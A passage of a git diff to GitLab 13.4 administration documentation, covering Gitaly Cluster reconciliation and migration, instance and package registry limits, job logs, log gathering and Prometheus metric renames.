[migrate the data your Praefect storage first](#migrating-existing-repositories-to-praefect). + you should [migrate the data your Gitaly Cluster storage](#migrate-existing-repositories-to-gitaly-cluster) + first. ```ruby gitaly['enable'] = false @@ -833,7 +834,8 @@ Particular attention should be shown to: gitlab_shell['secret_token'] = 'GITLAB_SHELL_SECRET_TOKEN' ``` -1. Add Prometheus monitoring settings by editing `/etc/gitlab/gitlab.rb`. +1. Add Prometheus monitoring settings by editing `/etc/gitlab/gitlab.rb`. If Prometheus + is enabled on a different node, make edits on that node instead. You will need to replace: @@ -871,7 +873,7 @@ Particular attention should be shown to: gitlab-ctl reconfigure ``` -1. Verify each `gitlab-shell` on each Gitaly instance can reach GitLab. On each Gitaly instance run: +1. Verify each `gitlab-shell` on each Gitaly node can reach GitLab. On each Gitaly node run: ```shell /opt/gitlab/embedded/service/gitlab-shell/bin/check -config /opt/gitlab/embedded/service/gitlab-shell/config.yml @@ -901,7 +903,7 @@ for detailed documentation. To get started quickly: -1. SSH into the **GitLab** node and login as root: +1. SSH into the **GitLab** node (or whichever node has Grafana enabled) and login as root: ```shell sudo -i @@ -978,6 +980,7 @@ They reflect configuration defined for this instance of Praefect. > - Introduced in GitLab 13.1 in [alpha](https://about.gitlab.com/handbook/product/gitlab-the-product/#alpha-beta-ga), disabled by default. > - Entered [beta](https://about.gitlab.com/handbook/product/gitlab-the-product/#alpha-beta-ga) in GitLab 13.2, disabled by default. > - From GitLab 13.3, disabled unless primary-wins reference transactions strategy is disabled. +> - From GitLab 13.4, enabled by default. Praefect guarantees eventual consistency by replicating all writes to secondary nodes after the write to the primary Gitaly node has happened. @@ -990,8 +993,13 @@ information, see the [strong consistency epic](https://gitlab.com/groups/gitlab- To enable strong consistency: -- In GitLab 13.3 and later, reference transactions are enabled by default with - a primary-wins strategy. This strategy causes all transactions to succeed for +- In GitLab 13.4 and later, the strong consistency voting strategy has been + improved. Instead of requiring all nodes to agree, only the primary and half + of the secondaries need to agree. This strategy is enabled by default. To + disable it and continue using the primary-wins strategy, enable the + `:gitaly_reference_transactions_primary_wins` feature flag. +- In GitLab 13.3, reference transactions are enabled by default with a + primary-wins strategy. This strategy causes all transactions to succeed for the primary and thus does not ensure strong consistency. To enable strong consistency, disable the `:gitaly_reference_transactions_primary_wins` feature flag. @@ -1034,11 +1042,6 @@ current primary node is found to be unhealthy. will cause Praefect nodes to elect a new primary, monitor its health, and elect a new primary if the current one has not been reachable in 10 seconds by a majority of the Praefect nodes. -- **Manual:** Automatic failover is disabled. The primary node can be - reconfigured in `/etc/gitlab/gitlab.rb` on the Praefect node. Modify the - `praefect['virtual_storages']` field by moving the `primary = true` to promote - a different Gitaly node to primary. In the steps above, `gitaly-1` was set to - the primary. Requires `praefect['failover_enabled'] = false` in the configuration. - **Memory:** Enabled by setting `praefect['failover_election_strategy'] = 'local'` in `/etc/gitlab/gitlab.rb` on the Praefect node. If a sufficient number of health checks fail for the current primary backend Gitaly node, and new primary will @@ -1072,7 +1075,7 @@ recovery efforts by preventing writes that may conflict with the unreplicated wr To enable writes again, an administrator can: 1. [Check](#check-for-data-loss) for data loss. -1. Attempt to [recover](#recover-missing-data) missing data. +1. Attempt to [recover](#data-recovery) missing data. 1. Either [enable writes](#enable-writes-or-accept-data-loss) in the virtual storage or [accept data loss](#enable-writes-or-accept-data-loss) if necessary, depending on the version of GitLab. @@ -1166,17 +1169,6 @@ Virtual storage: default To check a project's repository checksums across on all Gitaly nodes, run the [replicas Rake task](../raketasks/praefect.md#replica-checksums) on the main GitLab node. -### Recover missing data - -The Praefect `reconcile` sub-command can be used to recover unreplicated changes from another replica. -The source must be on a later version than the target storage. - -```shell -sudo /opt/gitlab/embedded/bin/praefect -config /var/opt/gitlab/praefect/config.toml reconcile -virtual <virtual-storage> -reference <up-to-date-storage> -target <outdated-storage> -f -``` - -Refer to [Gitaly node recovery](#gitaly-node-recovery) section for more details on the `reconcile` sub-command. - ### Enable writes or accept data loss Praefect provides the following subcommands to re-enable writes: @@ -1200,43 +1192,85 @@ Praefect provides the following subcommands to re-enable writes: CAUTION: **Caution:** `accept-dataloss` causes permanent data loss by overwriting other versions of the repository. Data -[recovery efforts](#recover-missing-data) must be performed before using it. +[recovery efforts](#data-recovery) must be performed before using it. + +## Data recovery + +If a Gitaly node fails replication jobs for any reason, it ends up hosting outdated versions of the +affected repositories. Praefect provides tools for: + +- [Automatic](#automatic-reconciliation) reconciliation, for GitLab 13.4 and later. +- [Manual](#manual-reconciliation) reconciliation, for: + - GitLab 13.3 and earlier. + - Repositories upgraded to GitLab 13.4 and later without entries in the `repositories` table. + A migration tool [is planned](https://gitlab.com/gitlab-org/gitaly/-/issues/3033). + +These tools reconcile the outdated repositories to bring them fully up to date again. + +### Automatic reconciliation + +> [Introduced](https://gitlab.com/gitlab-org/gitaly/-/issues/2717) in GitLab 13.4. -## Gitaly node recovery +Praefect automatically reconciles repositories that are not up to date. By default, this is done every +five minutes. For each outdated repository on a healthy Gitaly node, the Praefect picks a +random, fully up to date replica of the repository on another healthy Gitaly node to replicate from. A +replication job is scheduled only if there are no other replication jobs pending for the target +repository. -When a secondary Gitaly node fails and is no longer able to replicate changes, it starts -to drift from the primary Gitaly node. If the failed Gitaly node eventually recovers, -it needs to be reconciled with the primary Gitaly node. The primary Gitaly node is considered -the single source of truth for the state of a shard. +The reconciliation frequency can be changed via the configuration. The value can be any valid +[Go duration value](https://golang.org/pkg/time/#ParseDuration). Values below 0 disable the feature. -The Praefect `reconcile` sub-command allows for the manual reconciliation between a secondary -Gitaly node and the current primary Gitaly node. +Examples: -Run the following command on the Praefect server after all placeholders -(`<virtual-storage>` and `<target-storage>`) have been replaced: +```ruby +praefect['reconciliation_scheduling_interval'] = '5m' # the default value +``` + +```ruby +praefect['reconciliation_scheduling_interval'] = '30s' # reconcile every 30 seconds +``` + +```ruby +praefect['reconciliation_scheduling_interval'] = '0' # disable the feature +``` + +### Manual reconciliation + +The Praefect `reconcile` sub-command allows for the manual reconciliation between two Gitaly nodes. The +command replicates every repository on a later version on the reference storage to the target storage. ```shell -sudo /opt/gitlab/embedded/bin/praefect -config /var/opt/gitlab/praefect/config.toml reconcile -virtual <virtual-storage> -target <target-storage> +sudo /opt/gitlab/embedded/bin/praefect -config /var/opt/gitlab/praefect/config.toml reconcile -virtual <virtual-storage> -reference <up-to-date-storage> -target <outdated-storage> -f ``` - Replace the placeholder `<virtual-storage>` with the virtual storage containing the Gitaly node storage to be checked. -- Replace the placeholder `<target-storage>` with the Gitaly storage name. - -The command will return a list of repositories that were found to be -inconsistent against the current primary. Each of these inconsistencies will -also be logged with an accompanying replication job ID. +- Replace the placeholder `<up-to-date-storage>` with the Gitaly storage name containing up to date repositories. +- Replace the placeholder `<outdated-storage>` with the Gitaly storage name containing outdated repositories. -## Migrating existing repositories to Praefect +## Migrate existing repositories to Gitaly Cluster -If your GitLab instance already has repositories, these won't be migrated -automatically. +If your GitLab instance already has repositories on single Gitaly nodes, these aren't migrated to +Gitaly Cluster automatically. Repositories may be moved from one storage location using the [Project repository storage moves API](../../api/project_repository_storage_moves.md): -```shell -curl --request POST --header "Private-Token: <your_access_token>" --header "Content-Type: application/json" \ ---data '{"destination_storage_name":"praefect"}' "https://gitlab.example.com/api/v4/projects/123/repository_storage_moves" -``` +To move repositories to Gitaly Cluster: + +1. [Schedule a move](../../api/project_repository_storage_moves.md#schedule-a-repository-storage-move-for-a-project) + for the first repository using the API. For example: + + ```shell + curl --request POST --header "Private-Token: <your_access_token>" --header "Content-Type: application/json" \ + --data '{"destination_storage_name":"praefect"}' "https://gitlab.example.com/api/v4/projects/123/repository_storage_moves" + ``` + +1. Using the ID that is returned, [query the repository move](../../api/project_repository_storage_moves.md#get-a-single-repository-storage-move-for-a-project) + using the API. The query indicates either: + - The move has completed successfully. The `state` field is `finished`. + - The move is in progress. Re-query the repository move until it completes successfully. + - The move has failed. Most failures are temporary and are solved by rescheduling the move. + +1. Once the move is successful, repeat these steps for all repositories for your projects. ## Debugging Praefect diff --git a/doc/administration/img/export_audit_log_v13_4.png b/doc/administration/img/export_audit_log_v13_4.png Binary files differnew file mode 100644 index 00000000000..1b404b5742c --- /dev/null +++ b/doc/administration/img/export_audit_log_v13_4.png diff --git a/doc/administration/incoming_email.md b/doc/administration/incoming_email.md index 36156c4a580..c0c03044225 100644 --- a/doc/administration/incoming_email.md +++ b/doc/administration/incoming_email.md @@ -13,7 +13,7 @@ GitLab has several features based on receiving incoming emails: - [New issue by email](../user/project/issues/managing_issues.md#new-issue-via-email): allow GitLab users to create a new issue by sending an email to a user-specific email address. -- [New merge request by email](../user/project/merge_requests/creating_merge_requests.md#new-merge-request-by-email-core-only): +- [New merge request by email](../user/project/merge_requests/creating_merge_requests.md#new-merge-request-by-email): allow GitLab users to create a new merge request by sending an email to a user-specific email address. - [Service Desk](../user/project/service_desk.md): provide e-mail support to @@ -84,8 +84,8 @@ To set up a basic Postfix mail server with IMAP access on Ubuntu, follow the ### Security Concerns -**WARNING:** Be careful when choosing the domain used for receiving incoming -email. +WARNING: **WARNING:** +Be careful when choosing the domain used for receiving incoming email. For the sake of example, suppose your top-level company domain is `hooli.com`. All employees in your company have an email address at that domain via Google @@ -95,7 +95,7 @@ email address in order to sign up. If you also host a public-facing GitLab instance at `hooli.com` and set your incoming email domain to `hooli.com`, an attacker could abuse the "Create new issue by email" or -"[Create new merge request by email](../user/project/merge_requests/creating_merge_requests.md#new-merge-request-by-email-core-only)" +"[Create new merge request by email](../user/project/merge_requests/creating_merge_requests.md#new-merge-request-by-email)" features by using a project's unique address as the email when signing up for Slack. This would send a confirmation email, which would create a new issue or merge request on the project owned by the attacker, allowing them to click the @@ -111,7 +111,7 @@ Alternatively, use a dedicated domain for GitLab email communications such as See GitLab issue [#30366](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/30366) for a real-world example of this exploit. -CAUTION:**Caution:** +CAUTION: **Caution:** Be sure to use a mail server that has been configured to reduce spam. A Postfix mail server that is running on a default configuration, for example, diff --git a/doc/administration/index.md b/doc/administration/index.md index ed079abf708..a6448fcf64f 100644 --- a/doc/administration/index.md +++ b/doc/administration/index.md @@ -36,7 +36,7 @@ Learn how to install, configure, update, and maintain your GitLab instance. - [Omnibus support for log forwarding](https://docs.gitlab.com/omnibus/settings/logs.html#udp-log-shipping-gitlab-enterprise-edition-only) **(STARTER ONLY)** - [Reference architectures](reference_architectures/index.md): Add additional resources to support more users. - [Installing GitLab on Amazon Web Services (AWS)](../install/aws/index.md): Set up GitLab on Amazon AWS. -- [Geo](geo/replication/index.md): Replicate your GitLab instance to other geographic locations as a read-only fully operational version. **(PREMIUM ONLY)** +- [Geo](geo/index.md): Replicate your GitLab instance to other geographic locations as a read-only fully operational version. **(PREMIUM ONLY)** - [Disaster Recovery](geo/disaster_recovery/index.md): Quickly fail-over to a different site with minimal effort in a disaster situation. **(PREMIUM ONLY)** - [Pivotal Tile](../install/pivotal/index.md): Deploy GitLab as a preconfigured appliance using Ops Manager (BOSH) for Pivotal Cloud Foundry. **(PREMIUM ONLY)** - [Add License](../user/admin_area/license.md): Upload a license at install time to unlock features that are in paid tiers of GitLab. **(STARTER ONLY)** @@ -60,7 +60,7 @@ Learn how to install, configure, update, and maintain your GitLab instance. - [Diff limits](../user/admin_area/diff_limits.md): Configure the diff rendering size limits of branch comparison pages. - [Merge request diffs storage](merge_request_diffs.md): Configure merge requests diffs external storage. - [Broadcast Messages](../user/admin_area/broadcast_messages.md): Send messages to GitLab users through the UI. -- [Elasticsearch](../integration/elasticsearch.md): Enable Elasticsearch to empower GitLab's Advanced Global Search. Useful when you deal with a huge amount of data. **(STARTER ONLY)** +- [Elasticsearch](../integration/elasticsearch.md): Enable Elasticsearch to empower GitLab's Advanced Search. Useful when you deal with a huge amount of data. **(STARTER ONLY)** - [External Classification Policy Authorization](../user/admin_area/settings/external_authorization.md) **(PREMIUM ONLY)** - [Upload a license](../user/admin_area/license.md): Upload a license to unlock features that are in paid tiers of GitLab. **(STARTER ONLY)** - [Admin Area](../user/admin_area/index.md): for self-managed instance-wide configuration and maintenance. @@ -73,7 +73,7 @@ Learn how to install, configure, update, and maintain your GitLab instance. - [Favicon](../user/admin_area/appearance.md#favicon): Change the default favicon to your own logo. - [Branded login page](../user/admin_area/appearance.md#sign-in--sign-up-pages): Customize the login page with your own logo, title, and description. - ["New Project" page](../user/admin_area/appearance.md#new-project-pages): Customize the text to be displayed on the page that opens whenever your users create a new project. -- [Additional custom email text](../user/admin_area/settings/email.md#custom-additional-text-premium-only): Add additional custom text to emails sent from GitLab. **(PREMIUM ONLY)** +- [Additional custom email text](../user/admin_area/settings/email.md#custom-additional-text): Add additional custom text to emails sent from GitLab. **(PREMIUM ONLY)** ### Maintaining GitLab @@ -120,7 +120,7 @@ Learn how to install, configure, update, and maintain your GitLab instance. - [Auditor users](auditor_users.md): Users with read-only access to all projects, groups, and other resources on the GitLab instance. **(PREMIUM ONLY)** - [Incoming email](incoming_email.md): Configure incoming emails to allow users to [reply by email](reply_by_email.md), create [issues by email](../user/project/issues/managing_issues.md#new-issue-via-email) and - [merge requests by email](../user/project/merge_requests/creating_merge_requests.md#new-merge-request-by-email-core-only), and to enable [Service Desk](../user/project/service_desk.md). + [merge requests by email](../user/project/merge_requests/creating_merge_requests.md#new-merge-request-by-email), and to enable [Service Desk](../user/project/service_desk.md). - [Postfix for incoming email](reply_by_email_postfix_setup.md): Set up a basic Postfix mail server with IMAP authentication on Ubuntu for incoming emails. @@ -157,8 +157,8 @@ Learn how to install, configure, update, and maintain your GitLab instance. - [External Pipeline Validation](external_pipeline_validation.md): Enable, disable and configure external pipeline validation. - [Job artifacts](job_artifacts.md): Enable, disable, and configure job artifacts (a set of files and directories which are outputted by a job when it completes successfully). - [Job logs](job_logs.md): Information about the job logs. -- [Register Runners](../ci/runners/README.md#types-of-runners): Learn how to register and configure Runners. -- [Shared Runners pipelines quota](../user/admin_area/settings/continuous_integration.md#shared-runners-pipeline-minutes-quota-starter-only): Limit the usage of pipeline minutes for Shared Runners. **(STARTER ONLY)** +- [Register runners](../ci/runners/README.md#types-of-runners): Learn how to register and configure runners. +- [Shared runners pipelines quota](../user/admin_area/settings/continuous_integration.md#shared-runners-pipeline-minutes-quota): Limit the usage of pipeline minutes for shared runners. **(STARTER ONLY)** - [Enable/disable Auto DevOps](../topics/autodevops/index.md#enablingdisabling-auto-devops): Enable or disable Auto DevOps for your instance. ## Snippet settings @@ -231,6 +231,6 @@ who are aware of the risks. - [GitLab Developer Docs](../development/README.md) - [Repairing and recovering broken Git repositories](https://git.seveas.net/repairing-and-recovering-broken-git-repositories.html) - [Testing with OpenSSL](https://www.feistyduck.com/library/openssl-cookbook/online/ch-testing-with-openssl.html) - - [`Strace` zine](https://wizardzines.com/zines/strace/) + - [`strace` zine](https://wizardzines.com/zines/strace/) - GitLab.com-specific resources: - [Group SAML/SCIM setup](troubleshooting/group_saml_scim.md) diff --git a/doc/administration/instance_limits.md b/doc/administration/instance_limits.md index f30dba331b8..abd98002934 100644 --- a/doc/administration/instance_limits.md +++ b/doc/administration/instance_limits.md @@ -319,9 +319,9 @@ Plan.default.actual_limits.update!(ci_instance_level_variables: 30) > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/37226) in GitLab 13.3. Job artifacts defined with [`artifacts:reports`](../ci/pipelines/job_artifacts.md#artifactsreports) -that are uploaded by the Runner are rejected if the file size exceeds the maximum +that are uploaded by the runner are rejected if the file size exceeds the maximum file size limit. The limit is determined by comparing the project's -[maximum artifact size setting](../user/admin_area/settings/continuous_integration.md#maximum-artifacts-size-core-only) +[maximum artifact size setting](../user/admin_area/settings/continuous_integration.md#maximum-artifacts-size) with the instance limit for the given artifact type, and choosing the smaller value. Limits are set in megabytes, so the smallest possible value that can be defined is `1 MB`. @@ -424,6 +424,12 @@ panel_groups: label: Legend Label ``` +## Environment Dashboard limits **(PREMIUM)** + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/33895) in GitLab 13.4. + +See [Environment Dashboard](../ci/environments/environments_dashboard.md#adding-a-project-to-the-dashboard) for the maximum number of displayed projects. + ## Environment data on Deploy Boards [Deploy Boards](../user/project/deploy_boards.md) load information from Kubernetes about @@ -434,11 +440,11 @@ Kubernetes won't be shown. Reports that go over the 20 MB limit won't be loaded. Affected reports: -- [Merge Request security reports](../user/project/merge_requests/testing_and_reports_in_merge_requests.md#security-reports-ultimate) +- [Merge Request security reports](../user/project/merge_requests/testing_and_reports_in_merge_requests.md#security-reports) - [CI/CD parameter `artifacts:expose_as`](../ci/yaml/README.md#artifactsexpose_as) -- [JUnit test reports](../ci/junit_test_reports.md) +- [Unit test reports](../ci/unit_test_reports.md) -## Advanced Global Search limits +## Advanced Search limits ### Maximum file size indexed @@ -514,3 +520,38 @@ Total number of changes (branches or tags) in a single push to determine whether individual push events or bulk push event will be created. More information can be found in the [Push event activities limit and bulk push events documentation](../user/admin_area/settings/push_event_activities_limit.md). + +## Package Registry Limits + +### File Size Limits + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/218017) in GitLab 13.4. + +On GitLab.com, the maximum file size for a package that's uploaded to the [GitLab Package Registry](../user/packages/package_registry/index.md) +is 5 gigabytes. + +Limits are set per package type. + +To set this limit on a self-managed installation, run the following in the +[GitLab Rails console](troubleshooting/debug.md#starting-a-rails-console-session): + +```ruby +# File size limit is stored in bytes + +# For Conan Packages +Plan.default.actual_limits.update!(conan_max_file_size: 100.megabytes) + +# For NPM Packages +Plan.default.actual_limits.update!(npm_max_file_size: 100.megabytes) + +# For NuGet Packages +Plan.default.actual_limits.update!(nuget_max_file_size: 100.megabytes) + +# For Maven Packages +Plan.default.actual_limits.update!(maven_max_file_size: 100.megabytes) + +# For PyPI Packages +Plan.default.actual_limits.update!(pypi_max_file_size: 100.megabytes) +``` + +Set the limit to `0` to allow any file size. diff --git a/doc/administration/job_artifacts.md b/doc/administration/job_artifacts.md index 66a7bcb90f6..2a79923b793 100644 --- a/doc/administration/job_artifacts.md +++ b/doc/administration/job_artifacts.md @@ -404,7 +404,7 @@ you can enable the `ci_disable_validates_dependencies` feature flag from a Rails ## Set the maximum file size of the artifacts If artifacts are enabled, you can change the maximum file size of the -artifacts through the [Admin Area settings](../user/admin_area/settings/continuous_integration.md#maximum-artifacts-size-core-only). +artifacts through the [Admin Area settings](../user/admin_area/settings/continuous_integration.md#maximum-artifacts-size). ## Storage statistics diff --git a/doc/administration/job_logs.md b/doc/administration/job_logs.md index 4dba33b796a..c34035e3c0c 100644 --- a/doc/administration/job_logs.md +++ b/doc/administration/job_logs.md @@ -9,7 +9,7 @@ type: reference > [Renamed from job traces to job logs](https://gitlab.com/gitlab-org/gitlab/-/issues/29121) in GitLab 12.5. -Job logs are sent by GitLab Runner while it's processing a job. You can see +Job logs are sent by a runner while it's processing a job. You can see logs in job pages, pipelines, email notifications, etc. ## Data flow @@ -19,8 +19,8 @@ In the following table you can see the phases a log goes through: | Phase | State | Condition | Data flow | Stored path | | -------------- | ------------ | ----------------------- | -----------------------------------------| ----------- | -| 1: patching | log | When a job is running | GitLab Runner => Puma => file storage | `#{ROOT_PATH}/gitlab-ci/builds/#{YYYY_mm}/#{project_id}/#{job_id}.log` | -| 2: overwriting | log | When a job is finished | GitLab Runner => Puma => file storage | `#{ROOT_PATH}/gitlab-ci/builds/#{YYYY_mm}/#{project_id}/#{job_id}.log` | +| 1: patching | log | When a job is running | Runner => Puma => file storage | `#{ROOT_PATH}/gitlab-ci/builds/#{YYYY_mm}/#{project_id}/#{job_id}.log` | +| 2: overwriting | log | When a job is finished | Runner => Puma => file storage | `#{ROOT_PATH}/gitlab-ci/builds/#{YYYY_mm}/#{project_id}/#{job_id}.log` | | 3: archiving | archived log | After a job is finished | Sidekiq moves log to artifacts folder | `#{ROOT_PATH}/gitlab-rails/shared/artifacts/#{disk_hash}/#{YYYY_mm_dd}/#{job_id}/#{job_artifact_id}/job.log` | | 4: uploading | archived log | After a log is archived | Sidekiq moves archived log to [object storage](#uploading-logs-to-object-storage) (if configured) | `#{bucket_name}/#{disk_hash}/#{YYYY_mm_dd}/#{job_id}/#{job_artifact_id}/job.log` | @@ -83,10 +83,9 @@ find /var/opt/gitlab/gitlab-rails/shared/artifacts -name "job.log" -mtime +60 -d ## New incremental logging architecture > - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/18169) in GitLab 10.4. -> - [Announced as generally available](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/46097) in GitLab 11.0. NOTE: **Note:** -This feature is off by default. See below for how to [enable or disable](#enabling-incremental-logging) it. +This beta feature is off by default. See below for how to [enable or disable](#enabling-incremental-logging) it. By combining the process with object storage settings, we can completely bypass the local file storage. This is a useful option if GitLab is installed as @@ -103,8 +102,8 @@ The data are stored in the following Redis namespace: `Gitlab::Redis::SharedStat Here is the detailed data flow: -1. GitLab Runner picks a job from GitLab -1. GitLab Runner sends a piece of log to GitLab +1. The runner picks a job from GitLab +1. The runner sends a piece of log to GitLab 1. GitLab appends the data to Redis 1. Once the data in Redis reach 128KB, the data is flushed to a persistent store (object storage or the database). 1. The above steps are repeated until the job is finished. @@ -161,7 +160,7 @@ In some cases, having data stored on Redis could incur data loss: 1. **Case 1: When all data in Redis are accidentally flushed** - On going incremental logs could be recovered by re-sending logs (this is - supported by all versions of the GitLab Runner). + supported by all versions of GitLab Runner). - Finished jobs which have not archived incremental logs will lose the last part (~128KB) of log data. diff --git a/doc/administration/logs.md b/doc/administration/logs.md index 2e8d0bf7461..fcd6264dafd 100644 --- a/doc/administration/logs.md +++ b/doc/administration/logs.md @@ -87,7 +87,7 @@ In addition, the log contains the originating IP address, (`remote_ip`), the user's ID (`user_id`), and username (`username`). Some endpoints such as `/search` may make requests to Elasticsearch if using -[Advanced Global Search](../user/search/advanced_global_search.md). These will +[Advanced Search](../user/search/advanced_global_search.md). These will additionally log `elasticsearch_calls` and `elasticsearch_call_duration_s`, which correspond to: @@ -723,10 +723,15 @@ was initiated, such as `1509705644.log` ## `sidekiq_exporter.log` and `web_exporter.log` -If Prometheus metrics and the Sidekiq Exporter are both enabled, Sidekiq will -start a Web server and listen to the defined port (default: `8082`). Access logs -will be generated in `/var/log/gitlab/gitlab-rails/sidekiq_exporter.log` for -Omnibus GitLab packages or in `/home/git/gitlab/log/sidekiq_exporter.log` for +If Prometheus metrics and the Sidekiq Exporter are both enabled, Sidekiq +will start a Web server and listen to the defined port (default: +`8082`). By default, Sidekiq Exporter access logs are disabled but can +be enabled via the `sidekiq['exporter_log_enabled'] = true` option in `/etc/gitlab/gitlab.rb` +for Omnibus installations, or via the `sidekiq_exporter.log_enabled` option +in `gitlab.yml` for installations from source. When enabled, +access logs will be generated in +`/var/log/gitlab/gitlab-rails/sidekiq_exporter.log` for Omnibus GitLab +packages or in `/home/git/gitlab/log/sidekiq_exporter.log` for installations from source. If Prometheus metrics and the Web Exporter are both enabled, Puma/Unicorn will @@ -955,3 +960,38 @@ For Omnibus GitLab installations, GitLab Monitor logs reside in `/var/log/gitlab ## GitLab Exporter For Omnibus GitLab installations, GitLab Exporter logs reside in `/var/log/gitlab/gitlab-exporter/`. + +## Gathering logs + +When [troubleshooting](troubleshooting/index.md) issues that aren't localized to one of the +previously listed components, it's helpful to simultaneously gather multiple logs and statistics +from a GitLab instance. + +### GitLabSOS + +If performance degradations or cascading errors occur that can't readily be attributed to one +of the previously listed GitLab components, [GitLabSOS](https://gitlab.com/gitlab-com/support/toolbox/gitlabsos/) +can provide a perspective spanning all of Omnibus GitLab. For more details and instructions +to run it, see [the GitLabSOS documentation](https://gitlab.com/gitlab-com/support/toolbox/gitlabsos/#gitlabsos). + +NOTE: **Note:** +GitLab Support likes to use this custom-made tool. + +### Briefly tail the main logs + +If the bug or error is readily reproducible bug or error, save the main GitLab logs +[to a file](troubleshooting/linux_cheat_sheet.md#files--dirs) while reproducing the +problem once or more times: + +```shell +sudo gitlab-ctl tail | tee /tmp/<case-ID-and-keywords>.log +``` + +Conclude the log gathering with <kbd>Ctrl</kbd> + <kbd>C</kbd>. + +### Fast-stats + +[Fast-stats](https://gitlab.com/gitlab-com/support/toolbox/fast-stats) is a tool +for creating and comparing performance statistics from GitLab logs. +For more details and instructions to run it, see +[read the documentation for fast-stats](https://gitlab.com/gitlab-com/support/toolbox/fast-stats#usage). diff --git a/doc/administration/monitoring/gitlab_self_monitoring_project/index.md b/doc/administration/monitoring/gitlab_self_monitoring_project/index.md index e272cccb7ce..efe31997b25 100644 --- a/doc/administration/monitoring/gitlab_self_monitoring_project/index.md +++ b/doc/administration/monitoring/gitlab_self_monitoring_project/index.md @@ -77,7 +77,7 @@ You can [add a webhook](../../../operations/metrics/alerts.md#external-prometheu to the Prometheus configuration in order for GitLab to receive notifications of any alerts. Once the webhook is setup, you can -[take action on incoming alerts](../../../operations/metrics/alerts.md#trigger-actions-from-alerts-ultimate). +[take action on incoming alerts](../../../operations/metrics/alerts.md#trigger-actions-from-alerts). ## Adding custom metrics to the self monitoring project @@ -93,7 +93,7 @@ You can add custom metrics in the self monitoring project by: There is [a bug](https://gitlab.com/gitlab-org/gitlab/-/issues/208676) which causes project creation to fail with the following error (which appears in the log file) when the first admin user is an -[external user](../../../user/permissions.md#external-users-core-only): +[external user](../../../user/permissions.md#external-users): ```plaintext Could not create instance administrators group. Errors: ["You don’t have permission to create groups."] @@ -108,6 +108,6 @@ User.admins.active.first.external? If this returns true, the first admin user is an external user. If you face this issue, you can temporarily -[make the admin user a non-external user](../../../user/permissions.md#external-users-core-only) +[make the admin user a non-external user](../../../user/permissions.md#external-users) and then try to create the project. Once the project is created, the admin user can be changed back to an external user. diff --git a/doc/administration/monitoring/prometheus/gitlab_metrics.md b/doc/administration/monitoring/prometheus/gitlab_metrics.md index bff689c0c0c..ae31a3db023 100644 --- a/doc/administration/monitoring/prometheus/gitlab_metrics.md +++ b/doc/administration/monitoring/prometheus/gitlab_metrics.md @@ -106,6 +106,13 @@ The following metrics are available: | `successful_login_captcha_total` | Gauge | 11.0 | Counter of successful CAPTCHA attempts during login | | | `auto_devops_pipelines_completed_total` | Counter | 12.7 | Counter of completed Auto DevOps pipelines, labeled by status | | | `gitlab_metrics_dashboard_processing_time_ms` | Summary | 12.10 | Metrics dashboard processing time in milliseconds | service, stages | +| `action_cable_active_connections` | Gauge | 13.4 | Number of ActionCable WS clients currently connected | `server_mode` | +| `action_cable_pool_min_size` | Gauge | 13.4 | Minimum number of worker threads in ActionCable thread pool | `server_mode` | +| `action_cable_pool_max_size` | Gauge | 13.4 | Maximum number of worker threads in ActionCable thread pool | `server_mode` | +| `action_cable_pool_current_size` | Gauge | 13.4 | Current number of worker threads in ActionCable thread pool | `server_mode` | +| `action_cable_pool_largest_size` | Gauge | 13.4 | Largest number of worker threads observed so far in ActionCable thread pool | `server_mode` | +| `action_cable_pool_pending_tasks` | Gauge | 13.4 | Number of tasks waiting to be executed in ActionCable thread pool | `server_mode` | +| `action_cable_pool_tasks_total` | Gauge | 13.4 | Total number of tasks executed in ActionCable thread pool | `server_mode` | ## Metrics controlled by a feature flag @@ -157,25 +164,46 @@ configuration option in `gitlab.yml`. These metrics are served from the | `geo_lfs_objects_synced_missing_on_primary` | Gauge | 10.7 | Number of LFS objects marked as synced due to the file missing on the primary | `url` | | `geo_job_artifacts_synced_missing_on_primary` | Gauge | 10.7 | Number of job artifacts marked as synced due to the file missing on the primary | `url` | | `geo_attachments_synced_missing_on_primary` | Gauge | 10.7 | Number of attachments marked as synced due to the file missing on the primary | `url` | -| `geo_repositories_checksummed_count` | Gauge | 10.7 | Number of repositories checksummed on primary | `url` | -| `geo_repositories_checksum_failed_count` | Gauge | 10.7 | Number of repositories failed to calculate the checksum on primary | `url` | -| `geo_wikis_checksummed_count` | Gauge | 10.7 | Number of wikis checksummed on primary | `url` | -| `geo_wikis_checksum_failed_count` | Gauge | 10.7 | Number of wikis failed to calculate the checksum on primary | `url` | -| `geo_repositories_verified_count` | Gauge | 10.7 | Number of repositories verified on secondary | `url` | -| `geo_repositories_verification_failed_count` | Gauge | 10.7 | Number of repositories failed to verify on secondary | `url` | -| `geo_repositories_checksum_mismatch_count` | Gauge | 10.7 | Number of repositories that checksum mismatch on secondary | `url` | -| `geo_wikis_verified_count` | Gauge | 10.7 | Number of wikis verified on secondary | `url` | -| `geo_wikis_verification_failed_count` | Gauge | 10.7 | Number of wikis failed to verify on secondary | `url` | -| `geo_wikis_checksum_mismatch_count` | Gauge | 10.7 | Number of wikis that checksum mismatch on secondary | `url` | -| `geo_repositories_checked_count` | Gauge | 11.1 | Number of repositories that have been checked via `git fsck` | `url` | -| `geo_repositories_checked_failed_count` | Gauge | 11.1 | Number of repositories that have a failure from `git fsck` | `url` | -| `geo_repositories_retrying_verification_count` | Gauge | 11.2 | Number of repositories verification failures that Geo is actively trying to correct on secondary | `url` | -| `geo_wikis_retrying_verification_count` | Gauge | 11.2 | Number of wikis verification failures that Geo is actively trying to correct on secondary | `url` | +| `geo_repositories_checksummed` | Gauge | 10.7 | Number of repositories checksummed on primary | `url` | +| `geo_repositories_checksum_failed` | Gauge | 10.7 | Number of repositories failed to calculate the checksum on primary | `url` | +| `geo_wikis_checksummed` | Gauge | 10.7 | Number of wikis checksummed on primary | `url` | +| `geo_wikis_checksum_failed` | Gauge | 10.7 | Number of wikis failed to calculate the checksum on primary | `url` | +| `geo_repositories_verified` | Gauge | 10.7 | Number of repositories verified on secondary | `url` | +| `geo_repositories_verification_failed` | Gauge | 10.7 | Number of repositories failed to verify on secondary | `url` | +| `geo_repositories_checksum_mismatch` | Gauge | 10.7 | Number of repositories that checksum mismatch on secondary | `url` | +| 